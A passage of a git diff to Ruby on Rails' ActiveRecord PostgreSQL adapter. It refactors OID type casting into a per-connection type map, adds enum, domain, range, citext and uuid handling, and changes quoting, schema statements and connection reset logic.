+ class SpecializedString < OID::String
+ def type; @type end
+
+ def initialize(type)
+ @type = type
+ end
+ end
+
+ class Text < OID::String
+ def type; :text end
+ end
+
class Bit < Type
+ def type; :string end
+
def type_cast(value)
- if String === value
+ if ::String === value
ConnectionAdapters::PostgreSQLColumn.string_to_bit value
else
value
@@ -29,6 +54,8 @@ module ActiveRecord
end
class Bytea < Type
+ def type; :binary end
+
def type_cast(value)
return if value.nil?
PGconn.unescape_bytea value
@@ -36,14 +63,21 @@ module ActiveRecord
end
class Money < Type
+ def type; :decimal end
+
def type_cast(value)
return if value.nil?
+ return value unless ::String === value
# Because money output is formatted according to the locale, there are two
# cases to consider (note the decimal separators):
# (1) $12,345,678.12
# (2) $12.345.678,12
+ # Negative values are represented as follows:
+ # (3) -$2.55
+ # (4) ($2.55)
+ value.sub!(/^\((.+)\)$/, '-\1') # (4)
case value
when /^-?\D+[\d,]+\.\d{2}$/ # (1)
value.gsub!(/[^-\d.]/, '')
@@ -75,8 +109,10 @@ module ActiveRecord
end
class Point < Type
+ def type; :string end
+
def type_cast(value)
- if String === value
+ if ::String === value
ConnectionAdapters::PostgreSQLColumn.string_to_point value
else
value
@@ -85,13 +121,15 @@ module ActiveRecord
end
class Array < Type
+ def type; @subtype.type end
+
attr_reader :subtype
def initialize(subtype)
@subtype = subtype
end
def type_cast(value)
- if String === value
+ if ::String === value
ConnectionAdapters::PostgreSQLColumn.string_to_array value, @subtype
else
value
@@ -101,6 +139,8 @@ module ActiveRecord
class Range < Type
attr_reader :subtype
+ def simplified_type(sql_type); sql_type.to_sym end
+
def initialize(subtype)
@subtype = subtype
end
@@ -108,23 +148,19 @@ module ActiveRecord
def extract_bounds(value)
from, to = value[1..-2].split(',')
{
- from: (value[1] == ',' || from == '-infinity') ? infinity(:negative => true) : from,
- to: (value[-2] == ',' || to == 'infinity') ? infinity : to,
+ from: (value[1] == ',' || from == '-infinity') ? @subtype.infinity(negative: true) : from,
+ to: (value[-2] == ',' || to == 'infinity') ? @subtype.infinity : to,
exclude_start: (value[0] == '('),
exclude_end: (value[-1] == ')')
}
end
- def infinity(options = {})
- ::Float::INFINITY * (options[:negative] ? -1 : 1)
- end
-
def infinity?(value)
value.respond_to?(:infinite?) && value.infinite?
end
- def to_integer(value)
- infinity?(value) ? value : value.to_i
+ def type_cast_single(value)
+ infinity?(value) ? value : @subtype.type_cast(value)
end
def type_cast(value)
@@ -132,32 +168,27 @@ module ActiveRecord
return value if value.is_a?(::Range)
extracted = extract_bounds(value)
-
- case @subtype
- when :date
- from = ConnectionAdapters::Column.value_to_date(extracted[:from])
- from -= 1.day if extracted[:exclude_start]
- to = ConnectionAdapters::Column.value_to_date(extracted[:to])
- when :decimal
- from = BigDecimal.new(extracted[:from].to_s)
- # FIXME: add exclude start for ::Range, same for timestamp ranges
- to = BigDecimal.new(extracted[:to].to_s)
- when :time
- from = ConnectionAdapters::Column.string_to_time(extracted[:from])
- to = ConnectionAdapters::Column.string_to_time(extracted[:to])
- when :integer
- from = to_integer(extracted[:from]) rescue value ? 1 : 0
- from -= 1 if extracted[:exclude_start]
- to = to_integer(extracted[:to]) rescue value ? 1 : 0
- else
- return value
+ from = type_cast_single extracted[:from]
+ to = type_cast_single extracted[:to]
+
+ if !infinity?(from) && extracted[:exclude_start]
+ if from.respond_to?(:succ)
+ from = from.succ
+ ActiveSupport::Deprecation.warn <<-MESSAGE
+Excluding the beginning of a Range is only partialy supported through `#succ`.
+This is not reliable and will be removed in the future.
+ MESSAGE
+ else
+ raise ArgumentError, "The Ruby Range object does not support excluding the beginning of a Range. (unsupported value: '#{value}')"
+ end
end
-
::Range.new(from, to, extracted[:exclude_end])
end
end
class Integer < Type
+ def type; :integer end
+
def type_cast(value)
return if value.nil?
@@ -166,6 +197,8 @@ module ActiveRecord
end
class Boolean < Type
+ def type; :boolean end
+
def type_cast(value)
return if value.nil?
@@ -175,6 +208,9 @@ module ActiveRecord
class Timestamp < Type
def type; :timestamp; end
+ def simplified_type(sql_type)
+ :datetime
+ end
def type_cast(value)
return if value.nil?
@@ -186,7 +222,7 @@ module ActiveRecord
end
class Date < Type
- def type; :datetime; end
+ def type; :date; end
def type_cast(value)
return if value.nil?
@@ -198,6 +234,8 @@ module ActiveRecord
end
class Time < Type
+ def type; :time end
+
def type_cast(value)
return if value.nil?
@@ -208,6 +246,8 @@ module ActiveRecord
end
class Float < Type
+ def type; :float end
+
def type_cast(value)
return if value.nil?
@@ -216,35 +256,80 @@ module ActiveRecord
end
class Decimal < Type
+ def type; :decimal end
+
def type_cast(value)
return if value.nil?
ConnectionAdapters::Column.value_to_decimal value
end
+
+ def infinity(options = {})
+ BigDecimal.new("Infinity") * (options[:negative] ? -1 : 1)
+ end
+ end
+
+ class Enum < Type
+ def type; :enum end
+
+ def type_cast(value)
+ value.to_s
+ end
end
class Hstore < Type
+ def type; :hstore end
+
+ def type_cast_for_write(value)
+ ConnectionAdapters::PostgreSQLColumn.hstore_to_string value
+ end
+
def type_cast(value)
return if value.nil?
ConnectionAdapters::PostgreSQLColumn.string_to_hstore value
end
+
+ def accessor
+ ActiveRecord::Store::StringKeyedHashAccessor
+ end
end
class Cidr < Type
+ def type; :cidr end
def type_cast(value)
return if value.nil?
ConnectionAdapters::PostgreSQLColumn.string_to_cidr value
end
end
+ class Inet < Cidr
+ def type; :inet end
+ end
class Json < Type
+ def type; :json end
+
+ def type_cast_for_write(value)
+ ConnectionAdapters::PostgreSQLColumn.json_to_string value
+ end
+
def type_cast(value)
return if value.nil?
ConnectionAdapters::PostgreSQLColumn.string_to_json value
end
+
+ def accessor
+ ActiveRecord::Store::StringKeyedHashAccessor
+ end
+ end
+
+ class Uuid < Type
+ def type; :uuid end
+ def type_cast(value)
+ value.presence
+ end
end
class TypeMap
@@ -284,18 +369,16 @@ module ActiveRecord
end
end
- TYPE_MAP = TypeMap.new # :nodoc:
-
- # When the PG adapter connects, the pg_type table is queried. The
+ # When the PG adapter connects, the pg_type table is queried. The
# key of this hash maps to the `typname` column from the table.
- # TYPE_MAP is then dynamically built with oids as the key and type
+ # type_map is then dynamically built with oids as the key and type
# objects as values.
NAMES = Hash.new { |h,k| # :nodoc:
h[k] = OID::Identity.new
}
- # Register an OID type named +name+ with a typcasting object in
- # +type+. +name+ should correspond to the `typname` column in
+ # Register an OID type named +name+ with a typecasting object in
+ # +type+. +name+ should correspond to the `typname` column in
# the `pg_type` table.
def self.register_type(name, type)
NAMES[name] = type
@@ -312,54 +395,46 @@ module ActiveRecord
end
register_type 'int2', OID::Integer.new
- alias_type 'int4', 'int2'
- alias_type 'int8', 'int2'
- alias_type 'oid', 'int2'
-
- register_type 'daterange', OID::Range.new(:date)
- register_type 'numrange', OID::Range.new(:decimal)
- register_type 'tsrange', OID::Range.new(:time)
- register_type 'int4range', OID::Range.new(:integer)
- alias_type 'tstzrange', 'tsrange'
- alias_type 'int8range', 'int4range'
-
+ alias_type 'int4', 'int2'
+ alias_type 'int8', 'int2'
+ alias_type 'oid', 'int2'
register_type 'numeric', OID::Decimal.new
- register_type 'text', OID::Identity.new
- alias_type 'varchar', 'text'
- alias_type 'char', 'text'
- alias_type 'bpchar', 'text'
- alias_type 'xml', 'text'
-
- # FIXME: why are we keeping these types as strings?
- alias_type 'tsvector', 'text'
- alias_type 'interval', 'text'
- alias_type 'macaddr', 'text'
- alias_type 'uuid', 'text'
-
- register_type 'money', OID::Money.new
- register_type 'bytea', OID::Bytea.new
- register_type 'bool', OID::Boolean.new
- register_type 'bit', OID::Bit.new
- register_type 'varbit', OID::Bit.new
-
register_type 'float4', OID::Float.new
alias_type 'float8', 'float4'
-
+ register_type 'text', OID::Text.new
+ register_type 'varchar', OID::String.new
+ alias_type 'char', 'varchar'
+ alias_type 'bpchar', 'varchar'
+ register_type 'bool', OID::Boolean.new
+ register_type 'bit', OID::Bit.new
+ alias_type 'varbit', 'bit'
register_type 'timestamp', OID::Timestamp.new
- register_type 'timestamptz', OID::Timestamp.new
+ alias_type 'timestamptz', 'timestamp'
register_type 'date', OID::Date.new
register_type 'time', OID::Time.new
- register_type 'path', OID::Identity.new
+ register_type 'money', OID::Money.new
+ register_type 'bytea', OID::Bytea.new
register_type 'point', OID::Point.new
- register_type 'polygon', OID::Identity.new
- register_type 'circle', OID::Identity.new
register_type 'hstore', OID::Hstore.new
register_type 'json', OID::Json.new
- register_type 'ltree', OID::Identity.new
-
register_type 'cidr', OID::Cidr.new
- alias_type 'inet', 'cidr'
+ register_type 'inet', OID::Inet.new
+ register_type 'uuid', OID::Uuid.new
+ register_type 'xml', SpecializedString.new(:xml)
+ register_type 'tsvector', SpecializedString.new(:tsvector)
+ register_type 'macaddr', SpecializedString.new(:macaddr)
+ register_type 'citext', SpecializedString.new(:citext)
+ register_type 'ltree', SpecializedString.new(:ltree)
+
+ # FIXME: why are we keeping these types as strings?
+ alias_type 'interval', 'varchar'
+ alias_type 'path', 'varchar'
+ alias_type 'line', 'varchar'
+ alias_type 'polygon', 'varchar'
+ alias_type 'circle', 'varchar'
+ alias_type 'lseg', 'varchar'
+ alias_type 'box', 'varchar'
end
end
end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb b/activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb
index e9daa5d7ff..403e37fde9 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb
@@ -4,14 +4,14 @@ module ActiveRecord
module Quoting
# Escapes binary strings for bytea input to the database.
def escape_bytea(value)
- PGconn.escape_bytea(value) if value
+ @connection.escape_bytea(value) if value
end
# Unescapes bytea output from a database to the binary string it represents.
# NOTE: This is NOT an inverse of escape_bytea! This is only to be used
# on escaped binary output from database drive.
def unescape_bytea(value)
- PGconn.unescape_bytea(value) if value
+ @connection.unescape_bytea(value) if value
end
# Quotes PostgreSQL-specific data types for SQL input.
@@ -86,8 +86,11 @@ module ActiveRecord
case value
when Range
- return super(value, column) unless /range$/ =~ column.sql_type
- PostgreSQLColumn.range_to_string(value)
+ if /range$/ =~ column.sql_type
+ PostgreSQLColumn.range_to_string(value)
+ else
+ super(value, column)
+ end
when NilClass
if column.array && array_member
'NULL'
@@ -101,21 +104,33 @@ module ActiveRecord
when 'point' then PostgreSQLColumn.point_to_string(value)
when 'json' then PostgreSQLColumn.json_to_string(value)
else
- return super(value, column) unless column.array
- PostgreSQLColumn.array_to_string(value, column, self)
+ if column.array
+ PostgreSQLColumn.array_to_string(value, column, self)
+ else
+ super(value, column)
+ end
end
when String
- return super(value, column) unless 'bytea' == column.sql_type
- { :value => value, :format => 1 }
+ if 'bytea' == column.sql_type
+ # Return a bind param hash with format as binary.
+ # See http://deveiate.org/code/pg/PGconn.html#method-i-exec_prepared-doc
+ # for more information
+ { value: value, format: 1 }
+ else
+ super(value, column)
+ end
when Hash
case column.sql_type
- when 'hstore' then PostgreSQLColumn.hstore_to_string(value)
+ when 'hstore' then PostgreSQLColumn.hstore_to_string(value, array_member)
when 'json' then PostgreSQLColumn.json_to_string(value)
else super(value, column)
end
when IPAddr
- return super(value, column) unless ['inet','cidr'].include? column.sql_type
- PostgreSQLColumn.cidr_to_string(value)
+ if %w(inet cidr).include? column.sql_type
+ PostgreSQLColumn.cidr_to_string(value)
+ else
+ super(value, column)
+ end
else
super(value, column)
end
@@ -167,6 +182,15 @@ module ActiveRecord
end
result
end
+
+ # Does not quote function default values for UUID columns
+ def quote_default_value(value, column) #:nodoc:
+ if column.type == :uuid && value =~ /\(\)/
+ value
+ else
+ quote(value)
+ end
+ end
end
end
end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb b/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb
index a651b6c32e..e7169bd357 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb
@@ -46,7 +46,7 @@ module ActiveRecord
end
# Create a new PostgreSQL database. Options include <tt>:owner</tt>, <tt>:template</tt>,
- # <tt>:encoding</tt>, <tt>:collation</tt>, <tt>:ctype</tt>,
+ # <tt>:encoding</tt> (defaults to utf8), <tt>:collation</tt>, <tt>:ctype</tt>,
# <tt>:tablespace</tt>, and <tt>:connection_limit</tt> (note that MySQL uses
# <tt>:charset</tt> while PostgreSQL uses <tt>:encoding</tt>).
#
@@ -104,14 +104,11 @@ module ActiveRecord
schema, table = Utils.extract_schema_and_table(name.to_s)
return false unless table
- binds = [[nil, table]]
- binds << [nil, schema] if schema
-
exec_query(<<-SQL, 'SCHEMA').rows.first[0].to_i > 0
SELECT COUNT(*)
FROM pg_class c
LEFT JOIN pg_namespace n ON n.oid = c.relnamespace
- WHERE c.relkind in ('v','r')
+ WHERE c.relkind IN ('r','v','m') -- (r)elation/table, (v)iew, (m)aterialized view
AND c.relname = '#{table.gsub(/(^"|"$)/,'')}'
AND n.nspname = #{schema ? "'#{schema}'" : 'ANY (current_schemas(false))'}
SQL
@@ -126,6 +123,19 @@ module ActiveRecord
SQL
end
+ def index_name_exists?(table_name, index_name, default)
+ exec_query(<<-SQL, 'SCHEMA').rows.first[0].to_i > 0
+ SELECT COUNT(*)
+ FROM pg_class t
+ INNER JOIN pg_index d ON t.oid = d.indrelid
+ INNER JOIN pg_class i ON d.indexrelid = i.oid
+ WHERE i.relkind = 'i'
+ AND i.relname = '#{index_name}'
+ AND t.relname = '#{table_name}'
+ AND i.relnamespace IN (SELECT oid FROM pg_namespace WHERE nspname = ANY (current_schemas(false)) )
+ SQL
+ end
+
# Returns an array of indexes for the given table.
def indexes(table_name, name = nil)
result = query(<<-SQL, 'SCHEMA')
@@ -172,9 +182,7 @@ module ActiveRecord
def columns(table_name)
# Limit, precision, and scale are all handled by the superclass.
column_definitions(table_name).map do |column_name, type, default, notnull, oid, fmod|
- oid = OID::TYPE_MAP.fetch(oid.to_i, fmod.to_i) {
- OID::Identity.new
- }
+ oid = get_oid_type(oid.to_i, fmod.to_i, column_name)
PostgreSQLColumn.new(column_name, default, oid, type, notnull == 'f')
end
end
@@ -314,6 +322,7 @@ module ActiveRecord
AND attr.attrelid = cons.conrelid
AND attr.attnum = cons.conkey[1]
AND cons.contype = 'p'
+ AND dep.classid = 'pg_class'::regclass
AND dep.refobjid = '#{quote_table_name(table)}'::regclass
end_sql
@@ -384,8 +393,9 @@ module ActiveRecord
def change_column(table_name, column_name, type, options = {})
clear_cache!
quoted_table_name = quote_table_name(table_name)
-
- execute "ALTER TABLE #{quoted_table_name} ALTER COLUMN #{quote_column_name(column_name)} TYPE #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}"
+ sql_type = type_to_sql(type, options[:limit], options[:precision], options[:scale])
+ sql_type << "[]" if options[:array]
+ execute "ALTER TABLE #{quoted_table_name} ALTER COLUMN #{quote_column_name(column_name)} TYPE #{sql_type}"
change_column_default(table_name, column_name, options[:default]) if options_include_default?(options)
change_column_null(table_name, column_name, options[:null], options[:default]) if options.key?(:null)
@@ -394,13 +404,15 @@ module ActiveRecord
# Changes the default value of a table column.
def change_column_default(table_name, column_name, default)
clear_cache!
- execute "ALTER TABLE #{quote_table_name(table_name)} ALTER COLUMN #{quote_column_name(column_name)} SET DEFAULT #{quote(default)}"
+ column = column_for(table_name, column_name)
+ execute "ALTER TABLE #{quote_table_name(table_name)} ALTER COLUMN #{quote_column_name(column_name)} SET DEFAULT #{quote_default_value(default, column)}" if column
end
def change_column_null(table_name, column_name, null, default = nil)
clear_cache!
unless null || default.nil?
- execute("UPDATE #{quote_table_name(table_name)} SET #{quote_column_name(column_name)}=#{quote(default)} WHERE #{quote_column_name(column_name)} IS NULL")
+ column = column_for(table_name, column_name)
+ execute("UPDATE #{quote_table_name(table_name)} SET #{quote_column_name(column_name)}=#{quote_default_value(default, column)} WHERE #{quote_column_name(column_name)} IS NULL") if column
end
execute("ALTER TABLE #{quote_table_name(table_name)} ALTER #{quote_column_name(column_name)} #{null ? 'DROP' : 'SET'} NOT NULL")
end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb b/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb
index 98126249df..764cb576d9 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb
@@ -7,6 +7,7 @@ require 'active_record/connection_adapters/postgresql/quoting'
require 'active_record/connection_adapters/postgresql/schema_statements'
require 'active_record/connection_adapters/postgresql/database_statements'
require 'active_record/connection_adapters/postgresql/referential_integrity'
+require 'active_record/connection_adapters/postgresql/column'
require 'arel/visitors/bind_visitor'
# Make sure we're using pg high enough for PGResult#values
@@ -43,194 +44,6 @@ module ActiveRecord
end
module ConnectionAdapters
- # PostgreSQL-specific extensions to column definitions in a table.
- class PostgreSQLColumn < Column #:nodoc:
- attr_accessor :array
- # Instantiates a new PostgreSQL column definition in a table.
- def initialize(name, default, oid_type, sql_type = nil, null = true)
- @oid_type = oid_type
- if sql_type =~ /\[\]$/
- @array = true
- super(name, self.class.extract_value_from_default(default), sql_type[0..sql_type.length - 3], null)
- else
- @array = false
- super(name, self.class.extract_value_from_default(default), sql_type, null)
- end
- end
-
- # :stopdoc:
- class << self
- include ConnectionAdapters::PostgreSQLColumn::Cast
- include ConnectionAdapters::PostgreSQLColumn::ArrayParser
- attr_accessor :money_precision
- end
- # :startdoc:
-
- # Extracts the value from a PostgreSQL column default definition.
- def self.extract_value_from_default(default)
- # This is a performance optimization for Ruby 1.9.2 in development.
- # If the value is nil, we return nil straight away without checking
- # the regular expressions. If we check each regular expression,
- # Regexp#=== will call NilClass#to_str, which will trigger
- # method_missing (defined by whiny nil in ActiveSupport) which
- # makes this method very very slow.
- return default unless default
-
- case default
- when /\A'(.*)'::(num|date|tstz|ts|int4|int8)range\z/m
- $1
- # Numeric types
- when /\A\(?(-?\d+(\.\d*)?\)?(::bigint)?)\z/
- $1
- # Character types
- when /\A\(?'(.*)'::.*\b(?:character varying|bpchar|text)\z/m
- $1.gsub(/''/, "'")
- # Binary data types
- when /\A'(.*)'::bytea\z/m
- $1
- # Date/time types
- when /\A'(.+)'::(?:time(?:stamp)? with(?:out)? time zone|date)\z/
- $1
- when /\A'(.*)'::interval\z/
- $1
- # Boolean type
- when 'true'
- true
- when 'false'
- false
- # Geometric types
- when /\A'(.*)'::(?:point|line|lseg|box|"?path"?|polygon|circle)\z/
- $1
- # Network address types
- when /\A'(.*)'::(?:cidr|inet|macaddr)\z/
- $1
- # Bit string types
- when /\AB'(.*)'::"?bit(?: varying)?"?\z/
- $1
- # XML type
- when /\A'(.*)'::xml\z/m
- $1
- # Arrays
- when /\A'(.*)'::"?\D+"?\[\]\z/
- $1
- # Hstore
- when /\A'(.*)'::hstore\z/
- $1
- # JSON
- when /\A'(.*)'::json\z/
- $1
- # Object identifier types
- when /\A-?\d+\z/
- $1
- else
- # Anything else is blank, some user type, or some function
- # and we can't know the value of that, so return nil.
- nil
- end
- end
-
- def type_cast(value)
- return if value.nil?
- return super if encoded?
-
- @oid_type.type_cast value
- end
-
- private
-
- def extract_limit(sql_type)
- case sql_type
- when /^bigint/i; 8
- when /^smallint/i; 2
- when /^timestamp/i; nil
- else super
- end
- end
-
- # Extracts the scale from PostgreSQL-specific data types.
- def extract_scale(sql_type)
- # Money type has a fixed scale of 2.
- sql_type =~ /^money/ ? 2 : super
- end
-
- # Extracts the precision from PostgreSQL-specific data types.
- def extract_precision(sql_type)
- if sql_type == 'money'
- self.class.money_precision
- elsif sql_type =~ /timestamp/i
- $1.to_i if sql_type =~ /\((\d+)\)/
- else
- super
- end
- end
-
- # Maps PostgreSQL-specific data types to logical Rails types.
- def simplified_type(field_type)
- case field_type
- # Numeric and monetary types
- when /^(?:real|double precision)$/
- :float
- # Monetary types
- when 'money'
- :decimal
- when 'hstore'
- :hstore
- when 'ltree'
- :ltree
- # Network address types
- when 'inet'
- :inet
- when 'cidr'
- :cidr
- when 'macaddr'
- :macaddr
- # Character types
- when /^(?:character varying|bpchar)(?:\(\d+\))?$/
- :string
- # Binary data types
- when 'bytea'
- :binary
- # Date/time types
- when /^timestamp with(?:out)? time zone$/
- :datetime
- when /^interval(?:|\(\d+\))$/
- :string
- # Geometric types
- when /^(?:point|line|lseg|box|"?path"?|polygon|circle)$/
- :string
- # Bit strings
- when /^bit(?: varying)?(?:\(\d+\))?$/
- :string
- # XML type
- when 'xml'
- :xml
- # tsvector type
- when 'tsvector'
- :tsvector
- # Arrays
- when /^\D+\[\]$/
- :string
- # Object identifier types
- when 'oid'
- :integer
- # UUID type
- when 'uuid'
- :uuid
- # JSON type
- when 'json'
- :json
- # Small and big integer types
- when /^(?:small|big)int$/
- :integer
- when /(num|date|tstz|ts|int4|int8)range$/
- field_type.to_sym
- # Pass through all types that are not specific to PostgreSQL.
- else
- super
- end
- end
- end
-
# The PostgreSQL adapter works with the native C (https://bitbucket.org/ged/ruby-pg) driver.
#
# Options:
@@ -325,6 +138,10 @@ module ActiveRecord
def json(name, options = {})
column(name, 'json', options)
end
+
+ def citext(name, options = {})
+ column(name, 'citext', options)
+ end
end
class TableDefinition < ActiveRecord::ConnectionAdapters::TableDefinition
@@ -365,6 +182,10 @@ module ActiveRecord
column name, type, options
end
+ def citext(name, options = {})
+ column(name, 'citext', options)
+ end
+
def column(name, type = nil, options = {})
super
column = self[name]
@@ -373,15 +194,11 @@ module ActiveRecord
self
end
- def xml(options = {})
- column(args[0], :text, options)
- end
-
private
- def create_column_definition(name, type)
- ColumnDefinition.new name, type
- end
+ def create_column_definition(name, type)
+ ColumnDefinition.new name, type
+ end
end
class Table < ActiveRecord::ConnectionAdapters::Table
@@ -392,7 +209,7 @@ module ActiveRecord
NATIVE_DATABASE_TYPES = {
primary_key: "serial primary key",
- string: { name: "character varying", limit: 255 },
+ string: { name: "character varying" },
text: { name: "text" },
integer: { name: "integer" },
float: { name: "float" },
@@ -417,13 +234,15 @@ module ActiveRecord
macaddr: { name: "macaddr" },
uuid: { name: "uuid" },
json: { name: "json" },
- ltree: { name: "ltree" }
+ ltree: { name: "ltree" },
+ citext: { name: "citext" }
}
include Quoting
include ReferentialIntegrity
include SchemaStatements
include DatabaseStatements
+ include Savepoints
# Returns 'PostgreSQL' as adapter name for identification purposes.
def adapter_name
@@ -435,6 +254,7 @@ module ActiveRecord
def prepare_column_options(column, types)
spec = super
spec[:array] = 'true' if column.respond_to?(:array) && column.array
+ spec[:default] = "\"#{column.default_function}\"" if column.default_function
spec
end
@@ -518,18 +338,15 @@ module ActiveRecord
end
end
- class BindSubstitution < Arel::Visitors::PostgreSQL # :nodoc:
- include Arel::Visitors::BindVisitor
- end
-
# Initializes and connects a PostgreSQL adapter.
def initialize(connection, logger, connection_parameters, config)
super(connection, logger)
+ @visitor = Arel::Visitors::PostgreSQL.new self
if self.class.type_cast_config_to_boolean(config.fetch(:prepared_statements) { true })
- @visitor = Arel::Visitors::PostgreSQL.new self
+ @prepared_statements = true
else
- @visitor = unprepared_visitor
+ @prepared_statements = false
end
@connection_parameters, @config = connection_parameters, config
@@ -546,7 +363,8 @@ module ActiveRecord
raise "Your version of PostgreSQL (#{postgresql_version}) is too old, please upgrade!"
end
- initialize_type_map
+ @type_map = OID::TypeMap.new
+ initialize_type_map(type_map)
@local_tz = execute('SHOW TIME ZONE', 'SCHEMA').first["TimeZone"]
@use_insert_returning = @config.key?(:insert_returning) ? self.class.type_cast_config_to_boolean(@config[:insert_returning]) : true
end
@@ -558,7 +376,8 @@ module ActiveRecord
# Is this connection alive and ready for queries?
def active?
- @connection.connect_poll != PG::PGRES_POLLING_FAILED
+ @connection.query 'SELECT 1'
+ true
rescue PGError
false
end
@@ -572,7 +391,12 @@ module ActiveRecord
def reset!
clear_cache!
- super
+ reset_transaction
+ unless @connection.transaction_status == ::PG::PQTRANS_IDLE
+ @connection.query 'ROLLBACK'
+ end
+ @connection.query 'DISCARD ALL'
+ configure_connection
end
# Disconnects from the database if already connected. Otherwise, this
@@ -612,12 +436,6 @@ module ActiveRecord
true
end
- # Returns true, since this connection adapter supports savepoints.
- def supports_savepoints?
- true
- end
-
- # Returns true.
def supports_explain?
true
end
@@ -632,6 +450,10 @@ module ActiveRecord
postgresql_version >= 90200
end
+ def supports_materialized_views?
+ postgresql_version >= 90300
+ end
+
def enable_extension(name)
exec_query("CREATE EXTENSION IF NOT EXISTS \"#{name}\"").tap {
reload_type_map
@@ -699,6 +521,10 @@ module ActiveRecord
!native_database_types[type].nil?
end
+ def update_table_definition(table_name, base) #:nodoc:
+ Table.new(table_name, base)
+ end
+
protected
# Returns the version of the connected PostgreSQL server.
@@ -725,65 +551,145 @@ module ActiveRecord
private
+ def type_map
+ @type_map
+ end
+
+ def get_oid_type(oid, fmod, column_name)
+ if !type_map.key?(oid)
+ initialize_type_map(type_map, [oid])
+ end
+
+ type_map.fetch(oid, fmod) {
+ warn "unknown OID #{oid}: failed to recognize type of '#{column_name}'. It will be treated as String."
+ type_map[oid] = OID::Identity.new
+ }
+ end
+
def reload_type_map
- OID::TYPE_MAP.clear
- initialize_type_map
+ type_map.clear
+ initialize_type_map(type_map)
end
- def initialize_type_map
- result = execute('SELECT oid, typname, typelem, typdelim, typinput FROM pg_type', 'SCHEMA')
- leaves, nodes = result.partition { |row| row['typelem'] == '0' }
+ def add_oid(row, records_by_oid, type_map)
+ return type_map if type_map.key? row['type_elem'].to_i
- # populate the leaf nodes
- leaves.find_all { |row| OID.registered_type? row['typname'] }.each do |row|
- OID::TYPE_MAP[row['oid'].to_i] = OID::NAMES[row['typname']]
+ if OID.registered_type? row['typname']
+ # this composite type is explicitly registered
+ vector = OID::NAMES[row['typname']]
+ else
+ # use the default for composite types
+ unless type_map.key? row['typelem'].to_i
+ add_oid records_by_oid[row['typelem']], records_by_oid, type_map
+ end
+
+ vector = OID::Vector.new row['typdelim'], type_map[row['typelem'].to_i]
+ end
+
+ type_map[row['oid'].to_i] = vector
+ type_map
+ end
+
+ def initialize_type_map(type_map, oids = nil)
+ if supports_ranges?
+ query = <<-SQL
+ SELECT t.oid, t.typname, t.typelem, t.typdelim, t.typinput, r.rngsubtype, t.typtype, t.typbasetype
+ FROM pg_type as t
+ LEFT JOIN pg_range as r ON oid = rngtypid
+ SQL
+ else
+ query = <<-SQL
+ SELECT t.oid, t.typname, t.typelem, t.typdelim, t.typinput, t.typtype, t.typbasetype
+ FROM pg_type as t
+ SQL
end
+ if oids
+ query += "WHERE t.oid::integer IN (%s)" % oids.join(", ")
+ end
+
+ result = execute(query, 'SCHEMA')
+ ranges, nodes = result.partition { |row| row['typtype'] == 'r' }
+ enums, nodes = nodes.partition { |row| row['typtype'] == 'e' }
+ domains, nodes = nodes.partition { |row| row['typtype'] == 'd' }
arrays, nodes = nodes.partition { |row| row['typinput'] == 'array_in' }
+ leaves, nodes = nodes.partition { |row| row['typelem'] == '0' }
- # populate composite types
- nodes.find_all { |row| OID::TYPE_MAP.key? row['typelem'].to_i }.each do |row|
- if OID.registered_type? row['typname']
- # this composite type is explicitly registered
- vector = OID::NAMES[row['typname']]
- else
- # use the default for composite types
- vector = OID::Vector.new row['typdelim'], OID::TYPE_MAP[row['typelem'].to_i]
- end
+ # populate the enum types
+ enums.each do |row|
+ type_map[row['oid'].to_i] = OID::Enum.new
+ end
+
+ # populate the base types
+ leaves.find_all { |row| OID.registered_type? row['typname'] }.each do |row|
+ type_map[row['oid'].to_i] = OID::NAMES[row['typname']]
+ end
+
+ records_by_oid = result.group_by { |row| row['oid'] }
- OID::TYPE_MAP[row['oid'].to_i] = vector
+ # populate composite types
+ nodes.each do |row|
+ add_oid row, records_by_oid, type_map
end
# populate array types
- arrays.find_all { |row| OID::TYPE_MAP.key? row['typelem'].to_i }.each do |row|
- array = OID::Array.new OID::TYPE_MAP[row['typelem'].to_i]
- OID::TYPE_MAP[row['oid'].to_i] = array
+ arrays.find_all { |row| type_map.key? row['typelem'].to_i }.each do |row|
+ array = OID::Array.new type_map[row['typelem'].to_i]
+ type_map[row['oid'].to_i] = array
+ end
+
+ # populate range types
+ ranges.find_all { |row| type_map.key? row['rngsubtype'].to_i }.each do |row|
+ subtype = type_map[row['rngsubtype'].to_i]
+ range = OID::Range.new subtype
+ type_map[row['oid'].to_i] = range
+ end
+
+ # populate domain types
+ domains.each do |row|
+ base_type_oid = row["typbasetype"].to_i
+ if base_type = type_map[base_type_oid]
+ type_map[row['oid'].to_i] = base_type
+ else
+ warn "unknown base type (OID: #{base_type_oid}) for domain #{row["typname"]}."
+ end
end
end
- FEATURE_NOT_SUPPORTED = "0A000" # :nodoc:
+ FEATURE_NOT_SUPPORTED = "0A000" #:nodoc:
+
+ def execute_and_clear(sql, name, binds)
+ result = without_prepared_statement?(binds) ? exec_no_cache(sql, name, binds) :
+ exec_cache(sql, name, binds)
+ ret = yield result
+ result.clear
+ ret
+ end
- def exec_no_cache(sql, binds)
- @connection.async_exec(sql)
+ def exec_no_cache(sql, name, binds)
+ log(sql, name, binds) { @connection.async_exec(sql) }
end
- def exec_cache(sql, binds)
+ def exec_cache(sql, name, binds)
stmt_key = prepare_statement(sql)
+ type_casted_binds = binds.map { |col, val|
+ [col, type_cast(val, col)]
+ }
+
+ log(sql, name, type_casted_binds, stmt_key) do
+ @connection.send_query_prepared(stmt_key, type_casted_binds.map { |_, val| val })
+ @connection.block
+ @connection.get_last_result
+ end
+ rescue ActiveRecord::StatementInvalid => e
+ pgerror = e.original_exception
- # Clear the queue
- @connection.get_last_result
- @connection.send_query_prepared(stmt_key, binds.map { |col, val|
- type_cast(val, col)
- })
- @connection.block
- @connection.get_last_result
- rescue PGError => e
